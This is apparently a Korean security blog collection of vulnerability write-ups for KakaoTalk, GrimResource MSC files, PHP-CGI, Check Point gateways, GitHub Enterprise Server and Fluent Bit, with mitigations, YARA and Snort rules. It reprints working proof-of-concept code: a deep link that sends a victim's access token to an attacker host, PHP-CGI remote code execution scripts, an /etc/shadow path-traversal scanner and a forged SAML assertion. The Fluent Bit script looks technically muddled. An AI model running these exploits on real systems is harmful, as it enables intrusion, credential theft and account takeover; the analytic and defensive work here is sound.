1. 개요

- 국내에서 가장 많이 사용되는 메신저 카카오톡에서 취약점이 발견 [1]
- Deep Link 유효성 검사로 인해 원격 공격자가 제어하는 자바스크립트를 임의로 실행할 수 있음
- 다른 사용자의 계정 탈취, 채팅 메시지 무단 열람이 가능해짐

 

2. 주요내용

[사진 1] CVE-2023-51219

카카오톡 10.4.3 버전Deep Link 유효성 검사 문제로 공격자는 WebView 내에서 공격자가 제어하는 자바스크립트가 실행되는 취약점

> 자바스크립트를 실행해 HTTP 요청 헤더에서 액세스 토큰을 유출할 수 있음

> 해당 토큰을 사용해 다른 사용자의 계정을 탈취하고 채팅 메시지를 무단으로 열람할 수 있게 됨

※ 23.12 카카오에 제보 및 24.06.24 업데이트된 것으로 확인

 

2.1 배경

- 카카오톡은 기본적으로 종단 간 암호화 E2EE(End-to-End Encrypted)를 사용하지 않음(활성화되어 있지 않음)

> "Secure Chat"이라는 옵트인 E2EE 기능이 있지만 그룹 메시징이나 음성 통화를 지원하지 않음.

 

2.2 CommerceBuyActivity

- WebView CommerceBuyActivity는 공격자 관점에서 주요 진입점

> Deep Link로 시작할 수 있음(Ex. adb shell am start kakaotalk://buy)

> JavaScript가 활성화되어 있음 (settings.setJavaScriptEnabled(true);)

> intent:// 방식을 지원해 다른 앱 구성요소에 데이터 전송 가능
> intent:// URI의 검증이 부족해 잠재적으로 모든 앱 컴포넌트에 접근 가능
> Authorization HTTP 헤더에서 액세스 토큰을 유출

※ Deep Link: 모바일 웹상에 있는 링크나 그림을 클릭할 경우 기기 내 관련 앱이나 사전에 정의된 특정 웹페이지가 실행되는 모바일 기술

 

2.3 URL 리디렉션을 통한 DOM XSS

> hxxps://buy.kakao.com에서 hxxps://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl= 엔드포인트를 통해 XSS 취약점 발견
> hxxps://m.shoppinghow.kakao.com/m/search/q/alert(1)에서 이미 저장된 XSS를 확인
> 따라서 CommerceBuyActivity에서 임의의 JavaScript를 실행해 사용자의 액세스 토큰을 유출할 수 있음

 

- 악성 Deep Link를 생성해 사용자의 액세스 토큰을 공격자가 제어하는 서버로 전송 가능

> 이를 통해 카카오 메일 계정을 탈취하거나 새로운 카카오 메일 계정을 생성해 기존 이메일 주소를 덮어쓸 수 있음
> 또는, 피해자의 카카오 메일 계정에 접근해 비밀번호 재설정을 시도할 수 있음(2FA 우회를 위해 Burp를 사용해 요청을 가로채고 수정)

 

2.4 PoC

① 공격자는 악성 Deep Link를 생성

[악성 Deep Link 예시]
location.href = decodeURIComponent("kakaotalk%3A%2F%2Fbuy%2Fauth%2F0%2FcleanFrontRedirect%3FreturnUrl%3Dhttps%3A%2F%2Fm.shoppinghow.kakao.com%2Fm%2Fproduct%2FQ24620753380%2Fq%3A%22%3E%3Cimg%20src%3Dx%20onerror%3D%22document.location%3Datob%28%27aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv%27%29%3B%22%3E");

[Decoding]
location.href = decodeURIComponent("kakaotalk://buy/auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Q24620753380/q:"><img src=x onerror="document.location=atob('hxxp://192.168.178.20:5555/');">");

 

② HTTP 서버 및 Netcat 수신기 시작
③ 피해자에게 링크 클릭 유도
④ 피해자가 링크를 클릭할 경우 액세스 토큰 유출

GET /foo.html HTTP/1.1
Host: 192.168.178.20:5555
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 10; M2004J19C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.66 Mobile Safari/537.36;KAKAOTALK 2610420;KAKAOTALK 10.4.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
authorization: 64f03846070b4a9ea8d8798ce14220ce00000017017793161400011gzCIqV_7kN-deea3b5dc9cddb9d8345d95438207fc0981c2de80188082d9f6a8849db8ea92e
os_name: Android
kakao-buy-version: 1.0
os_version: 10.4.2
X-Requested-With: com.kakao.talk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

 

2.5 Takeaways

- 여전히 복잡하지 않은 공격 체인으로 사용자의 메시지를 탈취할 수 있는 인기 채팅 앱이 존재
- 앱 개발자가 몇 가지 간단한 실수를 하면 Android의 강력한 보안 모델과 메시지 암호화가 도움이 되지 않음
- 아시아 채팅 앱은 보안 연구 커뮤니티에서 여전히 저평가되고 있음

 

2.6 기타

- 개발자 보안 교육 필요성: 안전한 어플리케이션 개발을 위한 보안 교육 진행(시큐어 코딩, 민감 데이터 관련 기능 개발 주의 등)
- 사용자 보안 교육 필요성: 출처가 불분명한 의심스러운 링크를 클릭하지 않고, 2FA를 사용하는 등의 보안 교육 진행
- 다른 메신저 사용 고려

 

3. 참고

[1] https://stulle123.github.io/posts/kakaotalk-account-takeover/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51219
[3] https://www.boannews.com/media/view.asp?idx=130938&page=1&kind=1

1. 개요

- MMC를 활용해 보안 장치를 우회하는 새로운 공격 수법 GrimResource 등장 [1]

> MMC를 통해 MSC 파일을 열 수 있음
> 해당 MSC 파일 내 StringTable이라는 요소에 저장되어 있는 APDS 자원을 익스플로잇
> 보안 장치들을 우회하여 원하는 코드 실행 가능

 

1.1 Microsoft Management Console, MMC

- 마이크로소프트 관리 콘솔
Windows 운영 체제에서 시스템 구성 요소를 관리하고 설정하는 데 사용되는 도구
여러 관리 항목들(스냅인, 특정 시스템 구성 요소를 관리하는 작은 모듈)을 한곳에 모아 관리할 수 있도록 하는 프로그램
- Windows 환경에서 GUI와 콘솔의 생성, 저장, 열기 등을 수행할 프로그램 작업을 제공하는 일종의 응용 프로그램

 

1.2 Management Saved Console, MSC

MMC에서 만든 사용자 정의 콘솔을 저장한 파일

 

2. 주요내용

GrimResource 공격은 apds.dll 라이브러리에 있는 오래된 XXS 결함을 사용

> MSC 파일의 StringTable섹션에 취약한 APDS 리소스에 대한 참조를 추가하여 임의의 자바스크립트를 실행할 수 있음

해당 취약점은 이미 2018년 MS와 Adobe로 제보가 되었으나 아직 패치되지 않음

[사진 1] StringTable 섹션 APDS 리소스

 

ActiveX 보안 경고를 피하기위해 TransformNode 난독화 기술을 사용

> TransformNode 난독화: 소스 코드를 분석해 코드의 구조와 기능을 파악한 후 그 결과를 바탕으로 변환 규칙을 생성 및 적용하여 난독화
> 난독화된 내장 VBScript가 생성

[사진 2] TransformNode 난독화

 

- VBScript는 일련의 환경 변수에서 대상 페이로드를 설정한 뒤 DotNetToJs 기술을 활용하여 .NET 로더 실행

> DotNetToJs: Microsoft .NET 코드를 JavaScript 코드로 변환하는 프로세스

[사진 3] VBScript

 

- 로더는 VBScript가 설정한 환경 변수에서 페이로드 검색dllhost.exe의 새 인스턴스 생성하여 페이로드 주입
> 페이로드 주입에 DirtyCLR 기술, 함수 연결 해제 및 간접 syscall을 사용

[사진 4] 환경변수 설정
[사진 5] 페이로드 검색 로더

 

- 확인 권고사항
> mmc.exe에 의해 호출된 apds.dll과 관련된 파일 작업
> MCC를 통한 의심스러운 실행, 특히 .msc 파일 인수를 사용하여 mmc.exe에 의해 생성된 프로세스
> 스크립트 엔진 또는 .NET 구성 요소에서 발생하는 mmc.exe에 의한 RWX 메모리 할당
> JScript 또는 VBScript와 같은 비표준 스크립트 인터프리터 내에서 비정상적인 .NET COM 개체 생성
> APDS XSS 리디렉션의 결과로 INetCache 폴더에 생성된 임시 HTML 파일

 

- 의심스러운 MSC 파일을 탐지하는데 도움이 되도록 YARA 규칙 및 침해지표 제공

rule Windows_GrimResource_MMC {
    meta:
        author = "Elastic Security"
        reference = "https://www.elastic.co/security-labs/GrimResource"
        reference_sample = "14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb"
        arch_context = "x86"
        scan_context = "file, memory"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $xml = "<?xml"
        $a = "MMC_ConsoleFile" 
        $b1 = "apds.dll" 
        $b2 = "res://"
        $b3 = "javascript:eval("
        $b4 = ".loadXML("
    condition:
       $xml at 0 and $a and 2 of ($b*)
}
 

X의 Samir님(@SBousseaden)

Elastic Security Labs has discovered a new method for initial access and evasion in the wild, termed #GrimResource, which involves arbitrary execution in mmc.exe through a crafted MSC file. https://t.co/q4u4gTPE6O https://t.co/usWJvhygIC

x.com

 

3. 참고

[1] https://www.elastic.co/security-labs/grimresource
[2] https://x.com/i/status/1804225219571147140
[3] https://thehackernews.com/2024/06/new-attack-technique-exploits-microsoft.html
[4] https://www.bleepingcomputer.com/news/security/new-grimresource-attack-uses-msc-files-and-windows-xss-flaw-to-breach-networks/
[5] https://www.boannews.com/media/view.asp?idx=130867&page=1&kind=1

1. PHP-CGI (Common Gateway Interface)

- CGI(Common Gateway Interface): 웹 서버와 외부 프로그램 간의 상호 작용을 위한 표준 인턴페이스

- 웹 서버는 사용자 요청에 PHP 스크립트 포함된 경우 해당 스크립트를 PHP 인터프리터에 전달하여 실행 및 결과 전송

> 스크립트 실행을 위해 웹 서버의 cgi-bin 디렉토리를 생성하고, 디렉터리 내 .cgi 또는 .php로 저장해야 함

 

2. 취약점

[사진 1] CVE-2024-4577 [1]

- Window에 설치된 취약한 버전의 PHP-CGI에서 발생하는 Argument Injection 취약점

> 윈도우의 인코딩 변환 기능 중 Best-Fit 기능과 관련

> 특정 문자 시퀀스를 사용해 CVE-2012-1823에 대한 패치를 우회할 수 있음

영향받는 버전
- PHP-CGI 8.3.8 이전 버전
- PHP-CGI 8.2.20 이전 버전
- PHP-CGI 8.1.29 이전 버전

 

- 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용 [2]

> 소프트 하이폰을 이스케이프하지 못해 취약점이 발생

> 공개된 PoC 확인 시 0xAD를 포함한 POST 요청을 확인할 수 있음 [3]

"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber) 
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False



res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
    print('(+) Exploit was successful')
else:
    print('(!) Exploit may have failed')
[영상 1] CVE-2024-4577 시연 [4]

2.1 CVE-2012-1823

[사진 2] CVE-2012-1823 [5]

- 취약한 버전의 PHP에서 발생하는 원격 명령 실행 취약점

> PHP에서 PHP-CGI로 값을 전달할 때 값에 대한 적절한 검증이 없어 발생

영향받는 버전
- PHP 5.3.12 이전 버전
- PHP 5.4.2 이전 버전

 

- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생

> 1793줄 if(): CGI 사용 여부 확인

> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달

구분 옵션 설명
자주 사용되는
Exploit 옵션
-n php.ini 파일을 사용하지 않음
-s 소스코드를 하이라이트로 보여줌
-d php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음
> allow_url_fopen=1: 외부 URL로부터 파일 호출
> allow_url_include=1: 외부 파일 include 허용
> auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행
> auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를  실행
> auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행

 

[사진 3] PHP 5.4.1 sapi/cgi/cgi_main.c

 

[사진 3] bee-box 취약점

- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]

######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)
               
if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)

 

- 취약점은 다음과 같이 패치됨

> 1815줄 if(): URL 디코딩 전 QUERY_STRING이 NULL이 아니고, "="를 포함하지 않는다면 URL 디코딩 후 변수 p에 할당

> 1823줄 if(): 변수 p가 "-"로 시작하는 경우 skip_getopt 변수를 1로 초기화

> 1829줄 while(): skip_getopt 변수가 1이므로 while()문을 실행하지 않아 PHP-CGI 옵션 실행 방지

[사진 4] PHP 5.4.3 sapi/cgi/cgi_main.c

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [7]

> PHP 8.0, 7, 5 계열은 지원 종료로 패치 없음

제품명 영향받는 버전 해결 버전
PHP-CGI 8.3.8 이전 버전 8.3.8
8.2.20 이전 버전 8.2.20
8.1.29 이전 버전 8.1.29

 

② 패치가 불가능한 경우 임시 조치 적용 [8]

> Mod-PHP, FastCGI, PHP-FPM과 같은 보다 안전한 아키텍처로 마이그레이션

> 재작성규칙(Rewrite Rules)을 구성: 전통 중국어, 간체 중국어, 일본어 윈도에서만 사용할 수 있는 방법

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

 

> 윈도용 XAMPP(XAMPP for Windows)를 사용하는 경우 "httpd-xampp.conf" 파일의 설정 변경

C:/xampp/apache/conf/extra/httpd-xampp.conf 파일
> ScriptAlias /php-cgi/ "C:/xampp/php/" 행을 찾아 주석 처리
> # ScriptAlias /php-cgi/ "C:/xampp/php/"

※ XAMPP 자체가 업데이트되지 않아 패치 적용 불가
※ 모든 버전의 윈도우용 XAMPP이 취약점에 노출되어 있으므로 XAMPP 또한 패치 대상

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[2] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[3] https://github.com/watchtowrlabs/CVE-2024-4577
[4] https://www.youtube.com/watch?v=8d5f0xzOdK4
[5] https://nvd.nist.gov/vuln/detail/CVE-2012-1823
[6] https://www.exploit-db.com/exploits/18836
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71457&menuNo=205020
[8] https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
[9] https://www.dailysecu.com/news/articleView.html?idxno=156643
[10] https://www.boannews.com/media/view.asp?idx=130470&page=1&kind=1
[11] https://www.boannews.com/media/view.asp?idx=130481&page=1&kind=1

1. 취약점 [1]

[사진 1] CVE-2024-24919

- Check Point사 제품들에서 발견된 Path Traversal 취약점
> 익스플로잇에 성공한 공격자들은 민감 정보를 탈취할 수 있음

구분 제품 영향받는 버전
영향받는 버전 CloudGuard Network, Quantum Maestro, Quantum Scalable Chassis, Quantum Security Gateways, Quantum Spark Appliances R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20

 

2. 주요내용 [2]

- 패치 전후를 비교해 보면 "send_path_traversal_alert_log"라는 새 로깅 함수가 추가되어 있음
> 해당 함수는 sanitize_filename 함수에 의해 호출
> sanitize_filename를 참조를 확인하면 "sub_80F09E0 함수"와 "cpHttpSvc_register_query 함수"를 찾을 수 있음

 

[사진 2] sub_80F09E0

 

- cpHttpSvc_register_query 함수는 /clients/MyCRL URL을 사용하는 것으로 확인됨
> 해당 엔드포인트는 특정 경로를 GET 또는 POST로 요청하면 파일 시스템에서 해당 경로에 있는 파일을 반환해주는 역할을 수행
> URL에 특정 제어 문자를 추가(Ex. /clients/ MyCRL/test%0Atest) 하여 GET 요청을 전송하거나 POST 요청에 ..를 추가하는 경우 에러를 반환

 

sub_80F09E0 함수에는 _fopen 및 _fread 함수가 있음을 확인할 수 있음
> IDA가 인식하지 못하는 문자열들을 참조하는 것을 확인할 수 있음
> GDB를 통해 확인해보면, 사용자가 요청한 URL과 하드코딩된 여러 문자열을 strstr()로 비교 및 일치 시 파일 다운로드를 허용
하드코딩된 문자열 중 "CSHELL/"라는 문자열을 확인 가능

 

[사진 3] CSHELL/

CSHELL/ 문자열 뒤"../"를 추가할 경우
strstr() 함수는 CSHELL/ 문자열이 있기에 참을 반환
> 따라서, 추가한 ../ 문자열에의해 Path Traversal을 수행할 수 있게 됨

 

[사진 4] strstr() 결과

<<최종 페이로드 예시>>
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

 

2.1 PoC [3]

- /clients/MyCRL URL로 POST 요청
- aCSHELL 매개변수에 경로 순회 문자(../) 및 대상 파일(/etc/passwd 등)을 포함해 요청 

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

vuln = ['root:', 'nobody:']


def make_request(url, payload=None, headers=None):
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    if payload and payload.startswith("aCSHELL/../../../../../../../etc/shadow"):
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      etc/shadow found:               ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    elif payload:
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      Your file was found:            ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    return
            print(f"[-] {url} is not vulnerable")
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")


def main():
    payload = "aCSHELL/../../../../../../../etc/shadow"
    parser = argparse.ArgumentParser(description="CVE-2024-24919 POC - erg0sum")
    parser.add_argument("-l", metavar='filename', type=str, help="File containing list of HTTP/HTTPS targets")
    parser.add_argument("-f", metavar='file', type=str, help="File to read for custom payload (May break on multiple targets with unknown files.)")
    args = parser.parse_args()

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Dnt": "1",
        "Sec-Gpc": "1",
        "Te": "trailers",
        "Connection": "close"
    }

    payload_base = "aCSHELL/../../../../../../../{}"

    if args.f:
        payload = payload_base.format(args.f)

    if args.l:
        try:
            with open(args.l, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()
                    if url.startswith('http://') or url.startswith('https://'):
                        make_request(url + '/clients/MyCRL', payload=payload, headers=headers)
                    else:
                        print(f"Skipping invalid URL: {url}")
        except FileNotFoundError:
            print(f"Error: File '{args.l}' not found.")
    else:
        print("Please provide a file containing list of HTTP/HTTPS targets using -l option.")


if __name__ == "__main__":
    main()

 

[영상 1] PoC 시연 영상

3. 대응방안

- 벤더사 제공 Hotfix 적용 [5]
> 핫픽스 적용 후 약한 인증 방법과 비밀번호를 사용한 모든 로그인 시도가 자동으로 차단 및 기록됨

 

- 취약한 사용자 계정 제거, 계정 정보 변경 등 조치

 

- 탐지정책 적용

alert tcp any any -> any any (msg:"CVE-2024-24919 Check Point Path Traversal"; content:"POST"; http_method;content:"/clients/MyCRL"; nocase; http_uri;content:"aCSHELL"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-24919
[2] https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
[3] https://github.com/seed1337/CVE-2024-24919-POC
[4] https://www.youtube.com/watch?v=h7iWwEBmlck
[5] https://support.checkpoint.com/results/sk/sk182336
[6] https://hackyboiz.github.io/2024/06/01/j0ker/2024-06-01/
[7] https://www.dailysecu.com/news/articleView.html?idxno=156396

1. GitHub Enterprise Server (GHES) [1]

- 기업을 위한 소프트웨어 개발, 확장 및 제공을 용이하게 하는 자체 호스팅 플랫폼

 

2. 취약점

[사진 1] CVE-2024-4985 [2]

 

- 취약한 버전의 GHES에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 익스플로잇에 성공한 공격자는 사전 인증 없이 GHES 인스턴스에 액세스할 수 있음

영향받는버전
- GitHub Enterprise Server 3.9.15 이전 버전
- GitHub Enterprise Server 3.10.12 이전 버전
- GitHub Enterprise Server 3.11.10 이전 버전
- GitHub Enterprise Server 3.12.4 이전 버전

 

2.1 주요 내용

SAML SSO 인증과 선택적 암호화 어설션 기능을 사용하는 GHES 서버는 해당 취약점의 영향 받음 (구체적인 내용 확인 불가)

> GHES가 암호화된 SAML 클레임을 처리하는 방식으로 발생하는 취약성을 이용

> 올바른 사용자 정보를 포함하는 가짜 SAML 클레임을 생성

> GHES가 가짜 SAML 클레임을 처리할 때 서명의 유효성을 올바르게 확인할 수 없어 공격자가 인스턴스에 엑세스 가능

SAML (Security Assertion Markup Language) [3] - 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술 (Single Sign-On)
- 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
선택적 암호화 어설션 [4] - IdP가 어설션 암호화를 지원하는 경우 인증 프로세스 중 보안 강화를 위해 GitHub Enterprise Server에서 암호화된 어설션을 구성

 

※ 암호화된 어설션은 Default로 비활성화되어 있으며, 다음 2 가지 경우는 취약점의 영향을 받지않음
① 암호화된 어설션 없이 SAML SSO 인증을 사용하는 서버
② SAML SSO를 사용하지 않는 서버

 

2.1 PoC [5]

- hxxps://your-ghes-instance[.]com: 대상 GHES 서버 URL

<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
  <Audience>https://your-ghes-instance.com</Audience>
  <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
    <SubjectConfirmationData>
      <NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
    </SubjectConfirmationData>
  </SubjectConfirmation>
  <AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
    <AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
  </AuthnStatement>
  <AttributeStatement>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
  </AttributeStatement>
</Assertion>

 

3. 해결방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GitHub Enterprise Server 3.9.15 이전 버전 3.9.15 [7]
3.10.12  이전 버전 3.10.12 [8]
3.11.10 이전 버전 3.11.10 [9]
3.12.4 이전 버전 3.12.4 [10]

 

4.참고

[1] https://docs.github.com/en/enterprise-server@3.10/admin/overview/about-github-enterprise-server
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-4985
[3] https://www.microsoft.com/ko-kr/security/business/security-101/what-is-security-assertion-markup-language-saml
[4] https://docs.github.com/en/enterprise-server@3.12/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions
[5] https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71445&menuNo=205020
[7] https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.15
[8] https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.12
[9] https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.10
[10] https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.4
[11] https://www.hawk-eye.io/2024/05/cve-2024-4985-github-enterprise-server-authentication-bypass-vulnerability/
[12] https://thehackernews.com/2024/05/critical-github-enterprise-server-flaw.html
[13] https://www.boannews.com/media/view.asp?idx=129975&page=1&kind=1

1. Fluent Bit [1][2]

- 오픈소스 멀티플랫폼 로그 프로세서 도구
- 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행
- 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점
- Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용

 

2. 취약점

[사진 1] CVE-2024-4323

 

- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5)
익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능

영향받는 버전
- Fluent Bit 2.0.7 ~ 3.0.3 버전

 

2.1 주요 내용

- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생

/api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생

문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발

 

> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당
입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨

※ cd_traces(): fluent-bit/src/http_server/api/v1/trace.c
※ flb_sds_create_len(): fluent-bit/src/flb_sds.c

[사진 2] 취약점 발생 위치

 

※ 취약점 발생 시나리오 예시
- 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능
- -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음
- 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음
- -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생
-  더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발

 

2.2 PoC  [4]

- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달

import requests
import argparse

def exploit(url, port, remote_code):
    target_url = f"http://{url}:{port}"

    # Malicious payload to trigger the memory corruption
    malicious_payload = (
        "GET /traces HTTP/1.1\r\n"
        f"Host: {url}\r\n"
        "Content-Length: 1000000\r\n"  # Large content length to trigger buffer overflow
        "Connection: keep-alive\r\n\r\n"
        + "A" * 1000000  # Large amount of data to overflow the buffer
        + remote_code  # Inject remote code at the end
    )

    try:
        response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
        print(f"Response Code: {response.status_code}")
        print(f"Response Body: {response.text}")
    except Exception as e:
        print(f"Exploit failed: {e}")

